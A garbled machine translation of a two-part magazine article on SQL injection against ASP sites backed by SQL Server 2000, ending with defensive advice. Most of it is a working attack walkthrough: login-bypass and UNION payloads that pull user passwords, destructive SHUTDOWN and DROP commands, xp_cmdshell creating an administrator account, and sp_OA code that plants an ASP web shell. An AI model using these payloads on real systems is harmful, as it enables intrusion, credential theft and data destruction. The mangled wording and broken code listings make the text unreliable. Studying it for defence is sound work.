Sch SQLServer2000 Some Built-in Storage Procedures Usage and Description

xiaoxiao2021-03-06  58

Foreword

The safety of computer systems has always been you pay attention to, but maybe you have been installing and correcting files, anti-virgin software, and firewalls, delineates non-military districts, but maybe because of the negligence of writing program code, your back is There is a big loophole you create.

SQL INJECTION - Hacker SQL Fill Game

In today's application architecture, most of them contain a database to accommodate a wide range of materials. In various types of databases, the RDBMS RELATIONAL DATABASE Management system based on SGL Structure Query Language is most popular.

The general programming designer is often used to organize the SQL language using third-generation languages ​​such as Visual Basic, and then pass to the relational database system execution to establish or delete the data structure, give or remove the usage permissions. And even new, modified, deleted or query information. Because all of the relational databases are followed by the SQL command, various data maintenance work can be easily completed through this way. But it is also because the SQL language is omnipotent, so a slightly loopholes will make hackers organically multiply. These two articles are a deep discussion on this topic.

The information access of the website is generally dangerous because the internet is an open environment, not as in the internal network of the general company, in addition to the safety design of the computer itself, and filtering the standing background of the screening employee. Internet internet The Dragon Snake Inpass, most of the users have rushing the tollus, but a few people who are changing the regions must invade our system, stealing valuable information. However, the general network management personnel and web designers may have heavy prevention in security settings, such as firewalls, design non-military districts (DMZ), limit the identity of website login, and so on. However, due to the lack of cognition of the SQL language and database management system, the back door of the system is opened.

This article uses MS SQL Server to make a discussion and demonstration for Microsoft ASP website architecture. It is hoped that managers who can provide managers from SQL Injection have a basic understanding. If the author is writing this article, use the search website to find a few There is a member of the member mechanism to test, most of which have the dangers of invading in such ways, and everyone cannot be careful. The author first established a general member website to log in to the webpage, and the architecture of the relevant information sheet is as follows: The Schema of the data sheet is as shown in the program code list 1.

Create Table [TBLUSER] ([Userid] [INT] Identity (1, 1) Not Null, [UserName] [NVARCHAR] (50) Not null, [Password] [NVARCHAR] (50) Not null, [PRI] [Tinyint ] Null constraint [DF_TBLUSER_PRI] Default (0), ConsTRAINT [PK_TBLUSER] Primary Key Clustered ([UserID]))

Program Code List 1: Store Member Information Table Schema.

And join the contents of the data sheet

INSERT TBLUSER (Username, Password, PRI) Values ​​('admin "(Username, Password, PRI) Values ​​(' Byron ',' Byronpass", 10)

Write in the web page, such as program code list 2.

<% IF Request ("UserName") <> "" and Request ("pass") <> "" "" "" "" AdoDb.Connection "with cnn.connectionstring = Application (" " "). Open 'Use the user entered by the user to combine SQL syntax strsql =" select * from tbluser where username =' "& _Request (" username ") &" 'and password =' ​​"& request (" pass ") & "'" Is handed over to SQL Server execution, this is the most dangerous place to set REC = .execute (strsql) end with wel. "UserName") = Request ("UserName") Response.write "Welcome "" "& Request (" UserName "Elseresponse.Write" Your account / password input error "end ifelse%>

User name:

<% end if%> program code list 2: Simple ASP login web page.

The ASP page in the program code list 2 uses VBScript to combine the user account, the password's SQL query syntax, the logic is quite simple, if there is a qualified account, password record, the password record, the EOF attribute of the return Recordset is False, the user will log in correctly. For this page, let's start using SQL Injection skills to "happiness" website!

Squaryary

Use any known user name to log in 1: For example, on the netfa secretly observe what account is used to log in to which website, etc., or first try the name of the user who may be established, such as : Admin, administrator, supervisor, sa, etc.

Type the following content 2: admin 'in place to enter the user name - and the password field is casually entered, and there is no relationship between SQL that will be executed. Schematic diagram is shown in Figure 1.

Figure 1: Log in with known member name, let the program code skip password check.

You can try to make an input to the SQL syntax of the user name and the SQL syntax of the program code list 2, will find the syntax that actually passes to SQL Server is as follows

Select * from tbluser where username = 'admin' - 'and password =' ​​ASDF '

The key is that the original and clause is "-" to indicate it, that is, SQL Server only executes

Select * from tbluser where username = 'admin' Nature, if there is the user exists, then this SQL query syntax is transmitted back to all fields of the record. According to the judgment method of the program code list 2: whether the recording Recordset is recorded, if there is a successful logification. If the hacker can easily enter the identity of the user. Log in with unknown user name: If there is no known account, you can also enter the user name field in the following way, it can be invaded in all:

'OR 1 = 1--

The entire syntax received by SQL Server is turned:

Select * from tbluser where username = '' OR 1 = 1 - 'and password =' ​​ASDF '

Because of the addition of OR 1 = 1, regardless of the previous conditions, as long as a condition is true, the entire judgment is true, so the recovered Recordset object contains all member records. It also leads to the RECORDSET object EOF attribute in the program code list 2 to false.

Using error messages

The number of fields and the name Microsoft makes the ASP program developers can be unlocated, so whenever Script is executing errors, they will transmit through the preset / WinNT / Help / Iishelp / Common / 500-100 The .asp page will return to the front end, which is a very convenient error rendering for developers. But hackers can also use this error message to obtain query syntax in the original ASP and understand the architecture of the data sheet in the database. For example, in the user name field: 'Having 1 = 1 - The system will return the error message as shown in Figure 2.

Figure 2: Deliberate manufacturing errors, find a spider silk in the error message.

By Figure 2, you can know that the data table name of the storage user is TBLUSER, and one field is called UserID in the query. So we entered again: 'Group by userid haVing 1 = 1 - This back error message is shown in Figure 3.

Figure 3: Using the error message to understand the data sheet.

Once again, in the error message of Figure 3, you can see the query also has the username, so the following manner will be queried 3.

'Group by Userid, UserName Having 1 = 1 -

After the full query syntax is taken as described above, it is to enter the following syntax, but no longer cause an execution period error:

'Group by Userid, UserName, Password, Pri Having 1 = 1 -

Because the syntax passing to SQL Server is turned:

Select * from tbluser where username = '' group by userid, username, password, pri haVing 1 = 1-- 'and password =' ​​asdf '

So list all the group BY ways are close to the group BY, but the syntax is fully correctly indicated that all fields are already included. The hacker can also be able to estimate the field structure of the data sheet.

The following syntax can be added in the input account, you can join the custom user to the information table.

'; Insert Into Tbluser Values ​​(' Hacker ',' Hacker ', 10) -

Getting a field data type If there is a data domain level format, it is not possible to add the self-reserved user, or the following syntax can be used to read the data domain format:

'UNION SELECT' ABC ', 1, 1 from TBLUSER - The result is transmitted back to the error message as shown in Figure 4.

Figure 4: Using the error message to determine the data type of the field.

Here we use the union syntax to combine two SELECT queries, the first field of the first SELECT syntax is the int format, but the corresponding second sentence SELECT syntax; the first field of the first field is VARCHAR format 'ABC ', Therefore appears as the error message of Figure 4. The hacker also learned that the data type of the data sheet is int. After patients with a field test, you can get the field format of the entire data sheet. Get the members' account password to take this trick, you can further get the user's account and password, such as first-order syntax query account:

'Union Select UserName, 1, 1, 1 from TBLUSER Where UserName>' A '-

IIS return error message is shown in Figure 5. Figure 5: Using the error message to get the user account and password.

Because the recorded record "admin" is NVARCHAR format, the error message of Figure 5 is thereby in the original int data domain by Union. It can be seen from the above error to be known that the account called "admin" is present, and the password of the account is obtained later.

'Union Select Password, 1,1,1 from tbluser where username =' admin '

Error message is shown in Figure 6.

Figure 6: Using the error message to get the password of the account admin.

Then, continue the following syntax to get the account password for other people.

'Union Select Username, 1, 1, 1 from Tbluser Where Username>' Admin '-

Error message is shown in Figure 7.

Figure 7: Take the account password of other people in order to pass the same mechanism.

Replace the condition of WHERE UserName> sequentially, you can get all the accounts and password combinations in the data sheet. The hacker can even pass the entire user account password string by the following syntax: Fill in the SQL statement such as the program code list 3 in the field of entering the user account.

'; Declare @str varchar (8000) set @str =' @ 'select @ Str = @ Str ' ' username ' / ' password from tbluser where username> @str select @str as idpass inTo TBLHACKER -

Program Code List 3: Make all user data into strings and put them in a custom data table.

In the program code list 3, first declare a string variable @Str with a length of 8000, and then make the contents of the entire TBLUSER digner table into the variable @Str, and finally use Select ... INTO ... syntax @ The content of the STR variable is placed in the self-built data sheet TBLHACKER.

Then use the aforementioned deliberate creation of erroneous skills to change the information content.

'Union Select IDPass, 1, 1, 1 from TBLHACKER -

The result is shown in Figure 8.

Figure 8: Retrieve all member account password information.

Of course, I have to make a clear action to avoid the attention of the system management, and still enter the following content in the name field.

'; Drop Table TBLHACKER -

In this article, the author introduces a general SQL Injection attack, I believe you don't feel excited and eager to try, you want to find a few websites to open the knife, just feel the creepy, hurry to see your own system. No matter what you are, the author looks forward to the misuse of this article, if there is a sense of safety, it is recommended that you tell the results inform the manager of the station, let the world's world more secure, the average person will be willing to flow It is on it, and our information person has a better future. In the next article, the author will continue to introduce advanced SQL Injection attacks, and put forward the way of preventive prevention, look forward to meeting you again.

Postscript: All examples of this article are not for Microsoft SQL Server, in fact, all relational databases are like Oracle, such as Oracle. At the same time, the various examples of this article are not for a single refer to ASP. In fact, all dynamic web pages such as JSP, PHP, etc. (even if your system is still in CGI technology), advise you to view your system in real time. And prevent problems.

(This article is licensed by SQL Server E-magazine http://www.sqlser.com.tw Authorized Taiwan Microsoft exclusive reprint)

Note:

1

As far as the author observes, there are many member mechanisms of membership mechanisms as a login account when logging in, so the hacker can try this method as long as I want to get a member's identity card.

2

The following SQL Injection login methods are only using the fields of the user account, enter different SQL syntax to organize various possible execution methods, and use "-" to mark the rear password fields into SQL description.

3

The first special quality of the hacker: patience. The author did not do a hacker's talent. In order to write this article, the author reversedly tested all sites, repeated the process of repeating, the resulting conclusion is that since there is this energy, I would rather look more about some books, earn just income.

SQL INJECTION - Hacker SQL Fill Games (below)

SQL Server itself provides a lot of functions, pre-depreciation programs, extension programs to assist T-SQL, allowing program designers to complete the pre-depreciation of business logic through T-SQL. However, the general user is more familiar with Visual Basic's programs to write access data, so there is not much knowledge of such functionality. Don't ask how to prevent hackers through this type of function. .

Use destructive syntax

The following features are discussed slightly below. Stop the SQL Server's execution directly into the shutdown command, ask SQL Server to stop execution. Enter your account on the web page You can type directly to the following syntax:

'; Shutdown--

Of course, the destruction is of course, as long as the authority is sufficient, it can also perform destructive SQL syntax 1. If you delete a database:

'; DROP DATABASE -

Delete some of the database inside the database:

'; DROP TABLE -

Clear a piece of information:

'; Truncate Table -

Or use the delete empty information sheet:

'; DELETE FROM

Adding advanced and powerful extension

The pre-deployment of this class is mostly in XP_, stores in the extension of the Master system database. Interesting is that most of the extension predictions are not listed in the online description attached to SQL Server, nor does not explain. The author thinks that Microsoft website uses full-text search to find these extension pre-depreciation, discussed, but find most ofoCumented, it seems that the extension program is powerful, but Microsoft does not encourage everyone to use. The author chooses a few more interesting separately. Execute other applications

XP_cmdshell should be one of the most commonly used extension preparations, and perform any application through this extension pre-depreciation system account.

The following program list 1 use the NET tool program attached to the operating system, add a user account Hacker in the Windows system; no password, add the account to SQL Server, then put it into the largest user power group Sysadmin:

'; EXEC MASTER..XP_CMDSHELL' NET user HACKER / Add 'EXEC MASTER..SP_GRANTLOGIN' BYRON-XP / HACKER 'EXEC MASTER..P_ADDSRVROLEMEMBER' BYRON-XP / HACKER ',' SYSADMIN '-

Program Code List 1: Add a custom user and give the account maximum permissions.

If you also open an internet access to the TCP 1433, the SQL Server preset is used, the hacker will have the opportunity to control the SQL Server.

System pre-depiction related to Registry

SQL Server provides a large number of extended pre-depoxing programs related to Registry, and begins with XP_reg as representative 2. The content is:

XP_regaddmultiTRINGXP_REGDELETEKEYXP_REGDELETEVALUEXP_REGENUMKEYSXP_REGENUMVALUESXP_REGREADXP_REGREMOVEMULTINTISTRINGXP_REGWRITE

The hacker can take advantage of this extension pre-depreciation program access system, such as what shared directories on the machine, such as program code list 2. Use the previous skill to present the result with an error message.

Create Table Tblsharedir (DiRName Varchar (100), Diratt Varchar (100)) Insert TBLSharedir Exec Master "HKEY_LOCAL_MACHINE, 'System / CurrentControlSet / Services / LanmanServer / Sharees'

Program Code List 2: Use XP_RegenumValues ​​to get the system sharing directory.

Re-use the skills introduced by the previous article to render the result of the result, or in the following, through the BCP.exe tool program, the desired result can be taken.

Extended pre-depreciation with Ole Automation / COM objects

SQL Server provides a set of pre-depreciations related to an access server external OLE object. they are, respectively:

Sp_oacreatesp_oadestroysp_oamethodsp_oagetpropertysp_oasetdPropertySp_OAGETERRORINFOSP_OASTOP

You can use them to create an OLE object (a general COM object, but to support the iDispatch interface), the method of performing the object, read and modify the properties, and perform error handling. But they cannot respond to events of general OLE or COM objects. With the establishment and implementation of the COM / OLE object, it is as good as the tiger to add wings for the control system. Slightly an example, the hacker can use it to get the original code of interested web pages, such as program code list 3:

'; DECLARE @shell INT EXEC SP_OACREATE' wscript.shell ', @ shell OUTPUT EXEC SP_OAMETHOD @ shell,' run ', null,' C: /WINNT/system32/cmd.exe / c type c: / inetpub / wwwroot / sqlinject /Login.asp> c: /inetpub/wwwroot/sqlinject/test.txt '-

Program Code List 3: Get the content of the login.asp page.

In program code list 3, use sp_oAcreate to create a "wscript.shell" object, and use sp_oamethod to call the RUN method of the "wscript.shell" object to perform the operating system command interface tool program cmd.exe, output Login.asp to TEST. In the .txt file, this hacker can see the method of login.asp writing as long as you enter http: //.../test.txt on the webpage, as the basic information of the next invasion.

Of course, the hacker can also use the scripting.filesystemObject object to create an ASP web back door, grammar, such as program code list 4:

DECLARE @fs int, @ fi intEXEC SP_OACREATE 'Scripting.FileSystemObject', @ fs OUTPUTEXEC SP_OAMETHOD @ fs, 'CreateTextFile', @ fs OUTPUT, 'C: /InetPub/WWWRoot/SQLInject/Shell.asp',1EXEC SP_OAMETHOD @fs, 'WriteLine', NULL, '<% set objshell = server.createObject ("wscript.shell"): Objshell.Run Request ("cmd")%>'

Program Code List 4: Establish an ASP back door web page.

Any execution file can be performed since then through the URL, as follows:

http://localhost/sqlinject/shell.asp? cmd = c: /winnt/system32/cmd.exe / c type c: /inetpub/wwroot/sqlinject/login.asp> c: / inetpub / wwwroot / SQLINJECT / TEST .TXT

Other related extension prediction procedures

The extension of this class, you may have to be careful:

Extended the name of the program

use

Use example

XP_AVAILAMEDIA

Display the disk drive available on the system, such as C: /.

XP_AVAILAMEDIA

XP_dirtree

Displays the subdirectories and archives architectures in a directory.

XP_dirtree 'C: / INETPUB / WWWROOT /'

XP_enumdsn

List the ODBC Data Source Name (DSN Data Source Name) on the system. XP_enumdsn

XP_enumgroups

List the user group and the description of the group on the operating system.

XP_enumgroups

XP_GetFileDetails

Get the relevant properties of a file.

XP_GETFILEDETAILS 'C: /INETPUB/WWWWROOT/SQLINJECT/Login.asp'

DBO.XP_MAKECAB

Compact the target multiple files to a target file. All files to be compressed can be connected in the last party of the parameter column, separated by a comma.

DBO.XP_MAKECAB 'C: / Test.cab', 'Mszip', 1, 'C: /inetpub/wwwroot/sqlinject/login.asp', 'c: /inetpub/wwroot/sqlinject/securelogin.asp'...

XP_NTSEC_ENUMDOMAINSS

List the server's domain name.

XP_NTSEC_ENUMDOMAINSS

XP_ServiceControl

Stop or activate a service.

XP_ServiceControl 'Stop', 'Schedule'XP_ServiceControl' Start ',' Schedule '

DBO.XP_SUBDIRS

Just column subdirectory in a directory.

DBO.XP_SUBDIRS 'C: /'

XP_TERMINATE_PROCESS

Stop the program in an execution, but the parameters given are the Process ID. With the "Work Administrator", pass the "View" - "Select Field" to check the PID, you can see the Process ID of each executor.

XP_TERMINATE_PROCESS 2484

XP_unpackcab

Unfrigerating the compressed file.

XP_unpackcab 'c: /test.cab', 'C: / Temp', 1

The extension of the above list is written in the Master system database, and the name is more interesting; after the results of the test. However, it does not mean that the extension of the extension that can be used to invade the system has been fully listed. After all, the hacker's creativity has repeatedly refurbished, you have to be cautious.

SQL Server Toolproof

Some of the tool programs provided through SQL Server can directly output the contents of the data table into files, such as the OUT parameters of the BCP, the entire output of the information sheet for the storage member data, the example is as follows:

BCP Northwind.dbo.tbluser out c: /inetput/wwwroot/sqlinject/User.txt -c -usa -p -sbyron-xp

Of course, isql.exe and osql.exe can also do the same features, such as:

Osql -usa -p -sbyron-xp -dnorthwind -oc: /inetpub/wwroot/sqlinject/USERS.TXT -Q "Select * from tbluser"

This type of tool program can be used with the xp_cmdshell extension of the previous article, or is performed by using the Trojan ASP established by the SP_OA Series Pre-prediction program to achieve the purpose of stealing the information.

Suggestions for preventing SQL INJECTION

Some of the above invasion techniques, the author summarizes some suggestions for maintenance system security.

Use ASP or ASP.NET to check the type and length of the input variable in the server side, filter out unwanted content. Note that these checks should not be placed on the front end. Even if the front end uses the HTML INPUT volume label MaxLength attribute, or by the JScript write program to set the limit, simply save the new file, modify the content (generally rewrite the form of the form attribute, and the MaxLength property of the input) Re-execution of these browser ends in re-execution. The ASP program logins in SQL Server does not use SA, or any account belonging to the sysadmin group to avoid excessive permissions.

SA must have a strong password, especially for the previous version of SQL Server 7.0. The preset SA has no password when the installed is installed, and the general manager has been forgotten or afraid of trouble without changing the password.

With ADO's Command object or ADO.NET's SQLCommand Class, the SQL syntax is performed through the parameters, and the written method of executing the pre-depreciation of the ADODB's Connection object is as bad as the CONNECTION object. Examples are as follows:

EXEC SPXXX parameters, ...

Since the SQL syntax added to the hacker:

EXEC SPXXX parameters, ...; shutdown

We can build a list of pre-stored program code 5:

Ecreate proc spusercount @username nvarchar (50), @ Password nvarchar (50) asselect username, password from tbluserwhere username = @ username and password = @ password

Program Code List 5: Pre-depreciation of the user account password used to find the consistent user account.

At the same time, the entire ASP query is changed to the write method of program code list 6:

<% IF Request ("UserName") <> "and Request (" pass ") <>" "" "AdoDb.Connection" with cnn.connectionString = Application <> "<>" "" and requirements) with cnn.connectionString = Application ("Conn"). Openend with 'is equipped with a pre-store through the AdoDb.command object, and the hacker cannot "invade the system set cmd = server.createObject (" adodb.command ") with CMD in the way combined SQL string. .ActiveConnection = cnn.CommandText = "spUserAccount" .CommandType = 4 'adCmdStoredProc.Parameters.Append .CreateParameter ( "UserName", 202, 1, 50, Request ( "UserName"))' 202 representative of adVarWChar, 1 Representative adParamInput.Parameters .Append .createParameter ("Password", 202, 1, 50, request ("pass")) SET REC = .execute () endew withif Not Rec.EOF THENSESSION ("UserName") = Request ("UserName") response. Write "Welcome" & Request ("UserName" Elseresponse.write "Your account / password input error" end ifelse%> program code list 6: Access the pre-depreciation using AdoDB's Command object.

If the gray program code block in the program code 6, the way to access the SQL Server pre-depicting program is changed to the Command object through AdoDB. If you can't use the syntax of the SQL to request additional SQL Server to perform additional action.

Change the preset web virtual path, do not use the IIS installed "Disk> / INETPUB / WWWWWROOT path" after IIS installed, otherwise, it is easy to use the aforementioned file access method.

Do not display an error message to the front end. Use the VBScript syntax on Error Resume next, and with if err.number <> 0 the error handling method, the error is returned to the appropriate error handling web page, so the system will be more stable, and the hacker is not easy to transform The message to detect the internal operation of the system. Or, you can also modify the /Winnt/help/iishelp/common/500-100.asp preset web page, the easiest way is to change its name 3.

Will be deleted with less but powerful extensions.

The execution of the monitoring system.

Firewall Turn off TCP 1433 / UDP 1434 (Port) Out of Outline 4.

Pay At any time, you have a new patch.

The above is a suggestion for SQL Injection protection, but we should be remembered that there is no absolutely safe system in the world. Only you will be careful, you can see if there is more ways to refurbish the hacker, whether there is abnormal system The situation is only the safety measures to strengthen the system can minimize the hazard. Related Website

Here are some URLs for SQL and system security, provide you with reference. Http://www.sqlser.com.tw/http://www.microsoft.com/sql/http://www.microsoft.com/security/http://www.microsoft.com/security/security_bulletins/ MS02020_sql.asphttp://www.sqlsecurity.com/http://www.nextgenss.com/http://www.atstake.com/http://www.securityfocus.com/http://www.appsecinc. COM /

(This article is licensed by SQL Server E-magazine http://www.sqlser.com.tw Authorized Taiwan Microsoft exclusive reprint)

Note:

1

For the author's observation, the general programming manufacturer also likes to access the data with the maximum preset account SA of SQL Server. Therefore, it is given to the power to give appropriate power.

2

The extended pre-depiction program of the list here can be seen through Enterprise Manager or Query Analyzer, but the relevant information is not found on the SQL Server line.

3

The author does not recommend deleting 500-100.asp at the beginning, because this will cause difficult to deactivate the program. It is recommended to change the name of 500-100.asp after the program development is completed. In the ASP file, the ASP file is just written on Error Resume Next / if Err.Number <> 0 THEN, the error handling should be the programming architecture that you should pay attention to when you write. If you are convenient for among the wrong, you can let the single quotes The ON ERROR RESUME NEXT syntax is an explanation.

4

There is a report that there is a network spider to find a network spider to access the Internet access, but the SA account does not set the password SQL Server, and use the aforementioned above after finding the server Skills acquire control of the system.

转载请注明原文地址:https://www.9cbs.com/read-113722.html

New Post(0)